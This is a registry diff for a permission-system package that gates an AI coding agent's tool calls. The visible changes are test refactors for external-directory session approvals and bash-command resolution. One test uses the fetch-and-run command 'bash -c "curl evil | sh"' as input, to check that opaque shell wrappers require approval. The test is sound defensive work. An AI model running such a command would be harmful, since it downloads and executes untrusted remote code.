@gotgenes/pi-permission-system 16.1.0 → 16.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +28 -0
- package/README.md +1 -1
- package/package.json +1 -1
- package/src/access-intent/access-intent.ts +57 -0
- package/src/access-intent/bash/command-enumeration.ts +79 -2
- package/src/access-intent/bash/parser.ts +2 -0
- package/src/access-intent/bash/program.ts +3 -0
- package/src/builtin-tool-input-formatters.ts +1 -1
- package/src/config-loader.ts +7 -7
- package/src/forwarded-permissions/permission-forwarder.ts +1 -1
- package/src/handlers/gates/bash-command.ts +32 -3
- package/src/handlers/gates/bash-external-directory.ts +1 -1
- package/src/handlers/gates/bash-path.ts +7 -5
- package/src/handlers/gates/external-directory-policy.ts +9 -8
- package/src/handlers/gates/path.ts +6 -5
- package/src/handlers/gates/runner.ts +6 -5
- package/src/handlers/gates/skill-read.ts +1 -1
- package/src/handlers/gates/tool-call-gate-pipeline.ts +7 -6
- package/src/handlers/permission-gate-handler.ts +1 -2
- package/src/handlers/tool-call-boundary.ts +1 -2
- package/src/input-normalizer.ts +1 -1
- package/src/mcp-targets.ts +1 -1
- package/src/normalize.ts +1 -1
- package/src/path-utils.ts +1 -1
- package/src/permission-event-rpc.ts +4 -6
- package/src/permission-manager.ts +40 -56
- package/src/permission-prompts.ts +1 -1
- package/src/permission-resolver.ts +45 -57
- package/src/permissions-service.ts +2 -4
- package/src/policy-loader.ts +2 -2
- package/src/skill-prompt-sanitizer.ts +2 -2
- package/src/tool-input-prompt-formatters.ts +1 -1
- package/src/tool-preview-formatter.ts +1 -1
- package/src/tool-registry.ts +1 -1
- package/src/{common.ts → value-guards.ts} +0 -66
- package/src/yaml-frontmatter.ts +65 -0
- package/test/access-intent/bash/node-text.test.ts +1 -0
- package/test/access-intent/bash/program.test.ts +67 -0
- package/test/handlers/before-agent-start.test.ts +6 -9
- package/test/handlers/external-directory-integration.test.ts +40 -153
- package/test/handlers/external-directory-session-dedup.test.ts +38 -286
- package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -3
- package/test/handlers/gates/bash-command.test.ts +89 -23
- package/test/handlers/gates/bash-external-directory.test.ts +37 -33
- package/test/handlers/gates/bash-path.test.ts +13 -9
- package/test/handlers/gates/external-directory-policy.test.ts +34 -22
- package/test/handlers/gates/external-directory.test.ts +11 -5
- package/test/handlers/gates/path.test.ts +30 -25
- package/test/handlers/gates/runner.test.ts +6 -1
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -2
- package/test/handlers/input.test.ts +1 -1
- package/test/helpers/external-directory-fixtures.ts +269 -0
- package/test/helpers/gate-fixtures.ts +12 -24
- package/test/helpers/handler-fixtures.ts +21 -15
- package/test/helpers/session-fixtures.ts +3 -18
- package/test/permission-event-rpc.test.ts +24 -20
- package/test/permission-manager-unified.test.ts +445 -209
- package/test/permission-resolver.test.ts +112 -89
- package/test/permissions-service.test.ts +10 -7
- package/test/skill-prompt-sanitizer.test.ts +30 -7
- package/test/{common.test.ts → value-guards.test.ts} +2 -96
- package/test/yaml-frontmatter.test.ts +91 -0
|
@@ -8,25 +8,14 @@
|
|
|
8
8
|
*/
|
|
9
9
|
|
|
10
10
|
import { describe, expect, it, vi } from "vitest";
|
|
11
|
-
|
|
12
|
-
import { GateDecisionReporter } from "#src/decision-reporter";
|
|
13
|
-
import type { GatePrompter } from "#src/gate-prompter";
|
|
14
|
-
import { GateRunner } from "#src/handlers/gates/runner";
|
|
15
|
-
import { SkillInputGatePipeline } from "#src/handlers/gates/skill-input-gate-pipeline";
|
|
16
|
-
import { ToolCallGatePipeline } from "#src/handlers/gates/tool-call-gate-pipeline";
|
|
17
|
-
import { PermissionGateHandler } from "#src/handlers/permission-gate-handler";
|
|
18
|
-
import type { PermissionCheckResult } from "#src/types";
|
|
19
|
-
import { wildcardMatch } from "#src/wildcard-matcher";
|
|
20
|
-
|
|
21
|
-
import {
|
|
22
|
-
makeCtx,
|
|
23
|
-
makeEvents,
|
|
24
|
-
makeToolRegistry,
|
|
25
|
-
} from "#test/helpers/handler-fixtures";
|
|
26
11
|
import {
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
12
|
+
makeApprovingPrompter,
|
|
13
|
+
makeDeduplicatingHandler,
|
|
14
|
+
makeDedupWiring,
|
|
15
|
+
makeExtDirBashEvent,
|
|
16
|
+
makeExtDirToolEvent,
|
|
17
|
+
} from "#test/helpers/external-directory-fixtures";
|
|
18
|
+
import { makeCtx } from "#test/helpers/handler-fixtures";
|
|
30
19
|
|
|
31
20
|
// ── SDK stub ───────────────────────────────────────────────────────────────
|
|
32
21
|
vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
|
|
@@ -35,115 +24,6 @@ vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
|
|
|
35
24
|
return { ...original };
|
|
36
25
|
});
|
|
37
26
|
|
|
38
|
-
// ── helpers ────────────────────────────────────────────────────────────────
|
|
39
|
-
|
|
40
|
-
/**
|
|
41
|
-
* Build a fully wired PermissionGateHandler for external-directory dedup
|
|
42
|
-
* tests.
|
|
43
|
-
*
|
|
44
|
-
* `permissionManager.checkPermission` is configured so that:
|
|
45
|
-
* - `external_directory` surface returns "ask" on first call
|
|
46
|
-
* - On subsequent calls it checks the shared `sessionRules` store; if a
|
|
47
|
-
* matching rule was recorded by the runner, it returns "allow" with
|
|
48
|
-
* `source: "session"`.
|
|
49
|
-
* - All other surfaces return "allow".
|
|
50
|
-
*/
|
|
51
|
-
function makeDeduplicatingHandler(prompter?: GatePrompter): {
|
|
52
|
-
handler: PermissionGateHandler;
|
|
53
|
-
prompter: GatePrompter;
|
|
54
|
-
} {
|
|
55
|
-
const { session, permissionManager, sessionRules, logger } =
|
|
56
|
-
makeRealSession();
|
|
57
|
-
const { resolver } = makeRealResolver(permissionManager, sessionRules);
|
|
58
|
-
|
|
59
|
-
// Configure checkPermission to simulate config-level "ask" for external_directory
|
|
60
|
-
// but return "allow/session" when a session rule has been recorded.
|
|
61
|
-
vi.mocked(permissionManager.checkPermission).mockImplementation(
|
|
62
|
-
(surface, input, _agentName, rules): PermissionCheckResult => {
|
|
63
|
-
if (surface === "external_directory") {
|
|
64
|
-
const record = (input ?? {}) as Record<string, unknown>;
|
|
65
|
-
const pathValue = typeof record.path === "string" ? record.path : null;
|
|
66
|
-
|
|
67
|
-
if (pathValue && rules && rules.length > 0) {
|
|
68
|
-
const match = rules.findLast(
|
|
69
|
-
(r) =>
|
|
70
|
-
r.surface === "external_directory" &&
|
|
71
|
-
wildcardMatch(r.pattern, pathValue),
|
|
72
|
-
);
|
|
73
|
-
if (match) {
|
|
74
|
-
return {
|
|
75
|
-
state: "allow",
|
|
76
|
-
toolName: surface,
|
|
77
|
-
source: "session",
|
|
78
|
-
origin: "session",
|
|
79
|
-
matchedPattern: match.pattern,
|
|
80
|
-
};
|
|
81
|
-
}
|
|
82
|
-
}
|
|
83
|
-
|
|
84
|
-
return {
|
|
85
|
-
state: "ask",
|
|
86
|
-
toolName: surface,
|
|
87
|
-
source: "special",
|
|
88
|
-
origin: "global",
|
|
89
|
-
};
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
return {
|
|
93
|
-
state: "allow",
|
|
94
|
-
toolName: surface,
|
|
95
|
-
source: "tool",
|
|
96
|
-
origin: "builtin",
|
|
97
|
-
};
|
|
98
|
-
},
|
|
99
|
-
);
|
|
100
|
-
|
|
101
|
-
// The external-directory gates resolve through checkPathPolicy (#418); route
|
|
102
|
-
// it through the same configured checkPermission so session-approval dedup
|
|
103
|
-
// applies to the typed path alias.
|
|
104
|
-
vi.mocked(permissionManager.checkPathPolicy).mockImplementation(
|
|
105
|
-
(values, agentName, rules, surface = "path") =>
|
|
106
|
-
permissionManager.checkPermission(
|
|
107
|
-
surface,
|
|
108
|
-
{ path: values[0] ?? "*" },
|
|
109
|
-
agentName,
|
|
110
|
-
rules,
|
|
111
|
-
),
|
|
112
|
-
);
|
|
113
|
-
|
|
114
|
-
const events = makeEvents();
|
|
115
|
-
const reporter = new GateDecisionReporter(logger, events);
|
|
116
|
-
const resolvedPrompter: GatePrompter = prompter ?? {
|
|
117
|
-
canConfirm: vi.fn().mockReturnValue(true),
|
|
118
|
-
prompt: vi
|
|
119
|
-
.fn<GatePrompter["prompt"]>()
|
|
120
|
-
.mockResolvedValue({ approved: true, state: "approved_for_session" }),
|
|
121
|
-
};
|
|
122
|
-
const runner = new GateRunner(
|
|
123
|
-
resolver,
|
|
124
|
-
sessionRules,
|
|
125
|
-
resolvedPrompter,
|
|
126
|
-
reporter,
|
|
127
|
-
);
|
|
128
|
-
const handler = new PermissionGateHandler(
|
|
129
|
-
session,
|
|
130
|
-
makeToolRegistry({
|
|
131
|
-
getAll: vi
|
|
132
|
-
.fn()
|
|
133
|
-
.mockReturnValue([
|
|
134
|
-
{ name: "read" },
|
|
135
|
-
{ name: "write" },
|
|
136
|
-
{ name: "edit" },
|
|
137
|
-
{ name: "bash" },
|
|
138
|
-
]),
|
|
139
|
-
}),
|
|
140
|
-
new ToolCallGatePipeline(resolver, session),
|
|
141
|
-
new SkillInputGatePipeline(resolver),
|
|
142
|
-
runner,
|
|
143
|
-
);
|
|
144
|
-
return { handler, prompter: resolvedPrompter };
|
|
145
|
-
}
|
|
146
|
-
|
|
147
27
|
// ── tests ──────────────────────────────────────────────────────────────────
|
|
148
28
|
|
|
149
29
|
describe("external-directory session dedup", () => {
|
|
@@ -154,23 +34,13 @@ describe("external-directory session dedup", () => {
|
|
|
154
34
|
const externalPath = "/outside/project/data.txt";
|
|
155
35
|
|
|
156
36
|
// First call — should prompt
|
|
157
|
-
const event1 =
|
|
158
|
-
type: "tool_call",
|
|
159
|
-
toolCallId: "tc-1",
|
|
160
|
-
toolName: "read",
|
|
161
|
-
input: { path: externalPath },
|
|
162
|
-
};
|
|
37
|
+
const event1 = makeExtDirToolEvent("read", externalPath, "tc-1");
|
|
163
38
|
const result1 = await handler.handleToolCall(event1, ctx);
|
|
164
39
|
expect(result1).toEqual({ action: "allow" });
|
|
165
40
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
166
41
|
|
|
167
42
|
// Second call — same path, should hit session rule, no prompt
|
|
168
|
-
const event2 =
|
|
169
|
-
type: "tool_call",
|
|
170
|
-
toolCallId: "tc-2",
|
|
171
|
-
toolName: "read",
|
|
172
|
-
input: { path: externalPath },
|
|
173
|
-
};
|
|
43
|
+
const event2 = makeExtDirToolEvent("read", externalPath, "tc-2");
|
|
174
44
|
const result2 = await handler.handleToolCall(event2, ctx);
|
|
175
45
|
expect(result2).toEqual({ action: "allow" });
|
|
176
46
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
@@ -181,22 +51,20 @@ describe("external-directory session dedup", () => {
|
|
|
181
51
|
const ctx = makeCtx();
|
|
182
52
|
|
|
183
53
|
// First call — prompt for /outside/project/a.txt
|
|
184
|
-
const event1 =
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
};
|
|
54
|
+
const event1 = makeExtDirToolEvent(
|
|
55
|
+
"read",
|
|
56
|
+
"/outside/project/a.txt",
|
|
57
|
+
"tc-1",
|
|
58
|
+
);
|
|
190
59
|
await handler.handleToolCall(event1, ctx);
|
|
191
60
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
192
61
|
|
|
193
62
|
// Second call — /outside/project/b.txt is in the same directory
|
|
194
|
-
const event2 =
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
};
|
|
63
|
+
const event2 = makeExtDirToolEvent(
|
|
64
|
+
"read",
|
|
65
|
+
"/outside/project/b.txt",
|
|
66
|
+
"tc-2",
|
|
67
|
+
);
|
|
200
68
|
await handler.handleToolCall(event2, ctx);
|
|
201
69
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
202
70
|
});
|
|
@@ -206,54 +74,37 @@ describe("external-directory session dedup", () => {
|
|
|
206
74
|
const ctx = makeCtx();
|
|
207
75
|
|
|
208
76
|
// First call — /outside/alpha/file.txt
|
|
209
|
-
const event1 =
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
};
|
|
77
|
+
const event1 = makeExtDirToolEvent(
|
|
78
|
+
"read",
|
|
79
|
+
"/outside/alpha/file.txt",
|
|
80
|
+
"tc-1",
|
|
81
|
+
);
|
|
215
82
|
await handler.handleToolCall(event1, ctx);
|
|
216
83
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
217
84
|
|
|
218
85
|
// Second call — /outside/beta/file.txt is a different directory
|
|
219
|
-
const event2 =
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
};
|
|
86
|
+
const event2 = makeExtDirToolEvent(
|
|
87
|
+
"read",
|
|
88
|
+
"/outside/beta/file.txt",
|
|
89
|
+
"tc-2",
|
|
90
|
+
);
|
|
225
91
|
await handler.handleToolCall(event2, ctx);
|
|
226
92
|
expect(prompter.prompt).toHaveBeenCalledTimes(2);
|
|
227
93
|
});
|
|
228
94
|
|
|
229
95
|
it("re-prompts when user approved once (not for session)", async () => {
|
|
230
|
-
const approveOnce
|
|
231
|
-
canConfirm: vi.fn().mockReturnValue(true),
|
|
232
|
-
prompt: vi
|
|
233
|
-
.fn<GatePrompter["prompt"]>()
|
|
234
|
-
.mockResolvedValue({ approved: true, state: "approved" }),
|
|
235
|
-
};
|
|
96
|
+
const approveOnce = makeApprovingPrompter();
|
|
236
97
|
const { handler, prompter } = makeDeduplicatingHandler(approveOnce);
|
|
237
98
|
const ctx = makeCtx();
|
|
238
99
|
const externalPath = "/outside/project/data.txt";
|
|
239
100
|
|
|
240
101
|
// First call — prompt, approved once
|
|
241
|
-
const event1 =
|
|
242
|
-
type: "tool_call",
|
|
243
|
-
toolCallId: "tc-1",
|
|
244
|
-
toolName: "read",
|
|
245
|
-
input: { path: externalPath },
|
|
246
|
-
};
|
|
102
|
+
const event1 = makeExtDirToolEvent("read", externalPath, "tc-1");
|
|
247
103
|
await handler.handleToolCall(event1, ctx);
|
|
248
104
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
249
105
|
|
|
250
106
|
// Second call — no session rule recorded, should prompt again
|
|
251
|
-
const event2 =
|
|
252
|
-
type: "tool_call",
|
|
253
|
-
toolCallId: "tc-2",
|
|
254
|
-
toolName: "read",
|
|
255
|
-
input: { path: externalPath },
|
|
256
|
-
};
|
|
107
|
+
const event2 = makeExtDirToolEvent("read", externalPath, "tc-2");
|
|
257
108
|
await handler.handleToolCall(event2, ctx);
|
|
258
109
|
expect(prompter.prompt).toHaveBeenCalledTimes(2);
|
|
259
110
|
});
|
|
@@ -265,23 +116,13 @@ describe("external-directory session dedup", () => {
|
|
|
265
116
|
const ctx = makeCtx();
|
|
266
117
|
|
|
267
118
|
// First call — bash referencing /tmp/out.txt
|
|
268
|
-
const event1 =
|
|
269
|
-
type: "tool_call",
|
|
270
|
-
toolCallId: "tc-1",
|
|
271
|
-
toolName: "bash",
|
|
272
|
-
input: { command: "echo hello > /tmp/out.txt" },
|
|
273
|
-
};
|
|
119
|
+
const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1");
|
|
274
120
|
const result1 = await handler.handleToolCall(event1, ctx);
|
|
275
121
|
expect(result1).toEqual({ action: "allow" });
|
|
276
122
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
277
123
|
|
|
278
124
|
// Second call — different bash command, same external path
|
|
279
|
-
const event2 =
|
|
280
|
-
type: "tool_call",
|
|
281
|
-
toolCallId: "tc-2",
|
|
282
|
-
toolName: "bash",
|
|
283
|
-
input: { command: "cat /tmp/out.txt" },
|
|
284
|
-
};
|
|
125
|
+
const event2 = makeExtDirBashEvent("cat /tmp/out.txt", "tc-2");
|
|
285
126
|
const result2 = await handler.handleToolCall(event2, ctx);
|
|
286
127
|
expect(result2).toEqual({ action: "allow" });
|
|
287
128
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
@@ -292,22 +133,12 @@ describe("external-directory session dedup", () => {
|
|
|
292
133
|
const ctx = makeCtx();
|
|
293
134
|
|
|
294
135
|
// First call — bash writes to /tmp/out.txt
|
|
295
|
-
const event1 =
|
|
296
|
-
type: "tool_call",
|
|
297
|
-
toolCallId: "tc-1",
|
|
298
|
-
toolName: "bash",
|
|
299
|
-
input: { command: "echo hello > /tmp/out.txt" },
|
|
300
|
-
};
|
|
136
|
+
const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1");
|
|
301
137
|
await handler.handleToolCall(event1, ctx);
|
|
302
138
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
303
139
|
|
|
304
140
|
// Second call — read from /tmp/out.txt (same directory, different tool)
|
|
305
|
-
const event2 =
|
|
306
|
-
type: "tool_call",
|
|
307
|
-
toolCallId: "tc-2",
|
|
308
|
-
toolName: "read",
|
|
309
|
-
input: { path: "/tmp/out.txt" },
|
|
310
|
-
};
|
|
141
|
+
const event2 = makeExtDirToolEvent("read", "/tmp/out.txt", "tc-2");
|
|
311
142
|
await handler.handleToolCall(event2, ctx);
|
|
312
143
|
expect(prompter.prompt).toHaveBeenCalledTimes(1);
|
|
313
144
|
});
|
|
@@ -320,90 +151,11 @@ describe("external-directory session dedup", () => {
|
|
|
320
151
|
|
|
321
152
|
describe("session shutdown clears external-directory approvals", () => {
|
|
322
153
|
it("re-prompts for the same path after session shutdown", async () => {
|
|
323
|
-
|
|
324
|
-
const { session, permissionManager, sessionRules, logger } =
|
|
325
|
-
makeRealSession();
|
|
326
|
-
const { resolver } = makeRealResolver(permissionManager, sessionRules);
|
|
327
|
-
|
|
328
|
-
// external_directory=ask; session-covered paths return allow/session.
|
|
329
|
-
vi.mocked(permissionManager.checkPermission).mockImplementation(
|
|
330
|
-
(surface, input, _agentName, rules): PermissionCheckResult => {
|
|
331
|
-
if (surface === "external_directory") {
|
|
332
|
-
const record = (input ?? {}) as Record<string, unknown>;
|
|
333
|
-
const pathValue =
|
|
334
|
-
typeof record.path === "string" ? record.path : null;
|
|
335
|
-
if (pathValue && rules && rules.length > 0) {
|
|
336
|
-
const match = rules.findLast(
|
|
337
|
-
(r) =>
|
|
338
|
-
r.surface === "external_directory" &&
|
|
339
|
-
wildcardMatch(r.pattern, pathValue),
|
|
340
|
-
);
|
|
341
|
-
if (match) {
|
|
342
|
-
return {
|
|
343
|
-
state: "allow",
|
|
344
|
-
toolName: surface,
|
|
345
|
-
source: "session",
|
|
346
|
-
origin: "session",
|
|
347
|
-
matchedPattern: match.pattern,
|
|
348
|
-
};
|
|
349
|
-
}
|
|
350
|
-
}
|
|
351
|
-
return {
|
|
352
|
-
state: "ask",
|
|
353
|
-
toolName: surface,
|
|
354
|
-
source: "special",
|
|
355
|
-
origin: "global",
|
|
356
|
-
};
|
|
357
|
-
}
|
|
358
|
-
return {
|
|
359
|
-
state: "allow",
|
|
360
|
-
toolName: surface,
|
|
361
|
-
source: "tool",
|
|
362
|
-
origin: "builtin",
|
|
363
|
-
};
|
|
364
|
-
},
|
|
365
|
-
);
|
|
366
|
-
|
|
367
|
-
// The external-directory tool gate resolves through checkPathPolicy (#418);
|
|
368
|
-
// route it through the same configured checkPermission.
|
|
369
|
-
vi.mocked(permissionManager.checkPathPolicy).mockImplementation(
|
|
370
|
-
(values, agentName, rules, surface = "path") =>
|
|
371
|
-
permissionManager.checkPermission(
|
|
372
|
-
surface,
|
|
373
|
-
{ path: values[0] ?? "*" },
|
|
374
|
-
agentName,
|
|
375
|
-
rules,
|
|
376
|
-
),
|
|
377
|
-
);
|
|
378
|
-
|
|
379
|
-
const events = makeEvents();
|
|
380
|
-
const reporter = new GateDecisionReporter(logger, events);
|
|
381
|
-
const prompter: GatePrompter = {
|
|
382
|
-
canConfirm: vi.fn().mockReturnValue(true),
|
|
383
|
-
// Simulate "Yes, for this session" on first call, "Yes" on subsequent.
|
|
384
|
-
prompt: vi
|
|
385
|
-
.fn<GatePrompter["prompt"]>()
|
|
386
|
-
.mockResolvedValue({ approved: true, state: "approved_for_session" }),
|
|
387
|
-
};
|
|
388
|
-
const runner = new GateRunner(resolver, sessionRules, prompter, reporter);
|
|
389
|
-
const handler = new PermissionGateHandler(
|
|
390
|
-
session,
|
|
391
|
-
makeToolRegistry({
|
|
392
|
-
getAll: vi.fn().mockReturnValue([{ name: "read" }]),
|
|
393
|
-
}),
|
|
394
|
-
new ToolCallGatePipeline(resolver, session),
|
|
395
|
-
new SkillInputGatePipeline(resolver),
|
|
396
|
-
runner,
|
|
397
|
-
);
|
|
154
|
+
const { handler, prompter, session } = makeDedupWiring();
|
|
398
155
|
|
|
399
156
|
const externalPath = "/tmp/sibling/foo.ts";
|
|
400
157
|
const ctx = makeCtx();
|
|
401
|
-
const event =
|
|
402
|
-
type: "tool_call",
|
|
403
|
-
toolCallId: "tc-1",
|
|
404
|
-
toolName: "read",
|
|
405
|
-
input: { path: externalPath },
|
|
406
|
-
};
|
|
158
|
+
const event = makeExtDirToolEvent("read", externalPath, "tc-1");
|
|
407
159
|
|
|
408
160
|
// First access: prompt fires and records session approval.
|
|
409
161
|
await handler.handleToolCall(event, ctx);
|
|
@@ -32,13 +32,15 @@ function makeKeyedResolver(
|
|
|
32
32
|
rules: { match: string; state: PermissionState }[],
|
|
33
33
|
): ScopedPermissionResolver {
|
|
34
34
|
return {
|
|
35
|
-
resolve: (
|
|
36
|
-
const command =
|
|
35
|
+
resolve: (intent) => {
|
|
36
|
+
const command =
|
|
37
|
+
intent.kind === "tool"
|
|
38
|
+
? ((intent.input as { command?: string }).command ?? "")
|
|
39
|
+
: "";
|
|
37
40
|
const rule = rules.find((r) => command.includes(r.match));
|
|
38
41
|
const state: PermissionState = rule?.state ?? "allow";
|
|
39
42
|
return makeCheckResult({ state, source: "bash", command });
|
|
40
43
|
},
|
|
41
|
-
resolvePathPolicy: () => makeCheckResult(),
|
|
42
44
|
};
|
|
43
45
|
}
|
|
44
46
|
|
|
@@ -30,17 +30,18 @@ describe("resolveBashCommandCheck", () => {
|
|
|
30
30
|
|
|
31
31
|
expect(result.state).toBe("allow");
|
|
32
32
|
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
|
33
|
-
expect(resolver.resolve).toHaveBeenCalledWith(
|
|
34
|
-
"
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
33
|
+
expect(resolver.resolve).toHaveBeenCalledWith({
|
|
34
|
+
kind: "tool",
|
|
35
|
+
surface: "bash",
|
|
36
|
+
input: { command: "npm install pkg" },
|
|
37
|
+
agentName: undefined,
|
|
38
|
+
});
|
|
38
39
|
});
|
|
39
40
|
|
|
40
41
|
it("denies the chain when any sub-command is denied, reporting that command's pattern", () => {
|
|
41
42
|
const resolver = makeResolver();
|
|
42
|
-
resolver.resolve.mockImplementation((
|
|
43
|
-
const command = (
|
|
43
|
+
resolver.resolve.mockImplementation((intent) => {
|
|
44
|
+
const command = (intent as { input: { command: string } }).input.command;
|
|
44
45
|
return command.startsWith("npm")
|
|
45
46
|
? bashResult("deny", command, "npm *")
|
|
46
47
|
: bashResult("allow", command, "cd *");
|
|
@@ -60,8 +61,8 @@ describe("resolveBashCommandCheck", () => {
|
|
|
60
61
|
|
|
61
62
|
it("asks when a sub-command asks and none denies", () => {
|
|
62
63
|
const resolver = makeResolver();
|
|
63
|
-
resolver.resolve.mockImplementation((
|
|
64
|
-
const command = (
|
|
64
|
+
resolver.resolve.mockImplementation((intent) => {
|
|
65
|
+
const command = (intent as { input: { command: string } }).input.command;
|
|
65
66
|
return command.startsWith("git")
|
|
66
67
|
? bashResult("ask", command, "git *")
|
|
67
68
|
: bashResult("allow", command, "cd *");
|
|
@@ -81,8 +82,8 @@ describe("resolveBashCommandCheck", () => {
|
|
|
81
82
|
|
|
82
83
|
it("returns the first allow result when every sub-command is allowed", () => {
|
|
83
84
|
const resolver = makeResolver();
|
|
84
|
-
resolver.resolve.mockImplementation((
|
|
85
|
-
const command = (
|
|
85
|
+
resolver.resolve.mockImplementation((intent) => {
|
|
86
|
+
const command = (intent as { input: { command: string } }).input.command;
|
|
86
87
|
return bashResult("allow", command, `${command} *`);
|
|
87
88
|
});
|
|
88
89
|
|
|
@@ -109,11 +110,12 @@ describe("resolveBashCommandCheck", () => {
|
|
|
109
110
|
|
|
110
111
|
expect(result.state).toBe("allow");
|
|
111
112
|
expect(resolver.resolve).toHaveBeenCalledTimes(1);
|
|
112
|
-
expect(resolver.resolve).toHaveBeenCalledWith(
|
|
113
|
-
"
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
113
|
+
expect(resolver.resolve).toHaveBeenCalledWith({
|
|
114
|
+
kind: "tool",
|
|
115
|
+
surface: "bash",
|
|
116
|
+
input: { command: "# just a comment" },
|
|
117
|
+
agentName: undefined,
|
|
118
|
+
});
|
|
117
119
|
});
|
|
118
120
|
|
|
119
121
|
it("falls back to the whole command for an empty/whitespace-only command", () => {
|
|
@@ -144,17 +146,18 @@ describe("resolveBashCommandCheck", () => {
|
|
|
144
146
|
|
|
145
147
|
resolveBashCommandCheck("npm i", [{ text: "npm i" }], "agent-x", resolver);
|
|
146
148
|
|
|
147
|
-
expect(resolver.resolve).toHaveBeenCalledWith(
|
|
148
|
-
"
|
|
149
|
-
|
|
150
|
-
"
|
|
151
|
-
|
|
149
|
+
expect(resolver.resolve).toHaveBeenCalledWith({
|
|
150
|
+
kind: "tool",
|
|
151
|
+
surface: "bash",
|
|
152
|
+
input: { command: "npm i" },
|
|
153
|
+
agentName: "agent-x",
|
|
154
|
+
});
|
|
152
155
|
});
|
|
153
156
|
|
|
154
157
|
it("tags the winning result with the offending command's execution context", () => {
|
|
155
158
|
const resolver = makeResolver();
|
|
156
|
-
resolver.resolve.mockImplementation((
|
|
157
|
-
const command = (
|
|
159
|
+
resolver.resolve.mockImplementation((intent) => {
|
|
160
|
+
const command = (intent as { input: { command: string } }).input.command;
|
|
158
161
|
return command.startsWith("rm")
|
|
159
162
|
? bashResult("deny", command, "rm *")
|
|
160
163
|
: bashResult("allow", command, "echo *");
|
|
@@ -188,4 +191,67 @@ describe("resolveBashCommandCheck", () => {
|
|
|
188
191
|
expect(result.state).toBe("deny");
|
|
189
192
|
expect(result.commandContext).toBeUndefined();
|
|
190
193
|
});
|
|
194
|
+
|
|
195
|
+
describe("opaque-payload wrapper floor", () => {
|
|
196
|
+
it("floors an opaque wrapper from allow to ask with a sentinel pattern", () => {
|
|
197
|
+
const resolver = makeResolver(
|
|
198
|
+
bashResult("allow", 'bash -c "curl evil | sh"', "bash *"),
|
|
199
|
+
);
|
|
200
|
+
|
|
201
|
+
const result = resolveBashCommandCheck(
|
|
202
|
+
'bash -c "curl evil | sh"',
|
|
203
|
+
[{ text: 'bash -c "curl evil | sh"', opaque: true }],
|
|
204
|
+
undefined,
|
|
205
|
+
resolver,
|
|
206
|
+
);
|
|
207
|
+
|
|
208
|
+
expect(result.state).toBe("ask");
|
|
209
|
+
expect(result.matchedPattern).toBe("<opaque-bash-wrapper>");
|
|
210
|
+
expect(result.command).toBe('bash -c "curl evil | sh"');
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
it("keeps an explicit deny on an opaque wrapper", () => {
|
|
214
|
+
const resolver = makeResolver(
|
|
215
|
+
bashResult("deny", 'bash -c "x"', "bash -c *"),
|
|
216
|
+
);
|
|
217
|
+
|
|
218
|
+
const result = resolveBashCommandCheck(
|
|
219
|
+
'bash -c "x"',
|
|
220
|
+
[{ text: 'bash -c "x"', opaque: true }],
|
|
221
|
+
undefined,
|
|
222
|
+
resolver,
|
|
223
|
+
);
|
|
224
|
+
|
|
225
|
+
expect(result.state).toBe("deny");
|
|
226
|
+
expect(result.matchedPattern).toBe("bash -c *");
|
|
227
|
+
});
|
|
228
|
+
|
|
229
|
+
it("leaves an explicit ask on an opaque wrapper unchanged", () => {
|
|
230
|
+
const resolver = makeResolver(bashResult("ask", 'bash -c "x"', "bash *"));
|
|
231
|
+
|
|
232
|
+
const result = resolveBashCommandCheck(
|
|
233
|
+
'bash -c "x"',
|
|
234
|
+
[{ text: 'bash -c "x"', opaque: true }],
|
|
235
|
+
undefined,
|
|
236
|
+
resolver,
|
|
237
|
+
);
|
|
238
|
+
|
|
239
|
+
expect(result.state).toBe("ask");
|
|
240
|
+
expect(result.matchedPattern).toBe("bash *");
|
|
241
|
+
});
|
|
242
|
+
|
|
243
|
+
it("does not floor a non-opaque allow", () => {
|
|
244
|
+
const resolver = makeResolver(bashResult("allow", "ls", "ls *"));
|
|
245
|
+
|
|
246
|
+
const result = resolveBashCommandCheck(
|
|
247
|
+
"ls",
|
|
248
|
+
[{ text: "ls" }],
|
|
249
|
+
undefined,
|
|
250
|
+
resolver,
|
|
251
|
+
);
|
|
252
|
+
|
|
253
|
+
expect(result.state).toBe("allow");
|
|
254
|
+
expect(result.matchedPattern).toBe("ls *");
|
|
255
|
+
});
|
|
256
|
+
});
|
|
191
257
|
});
|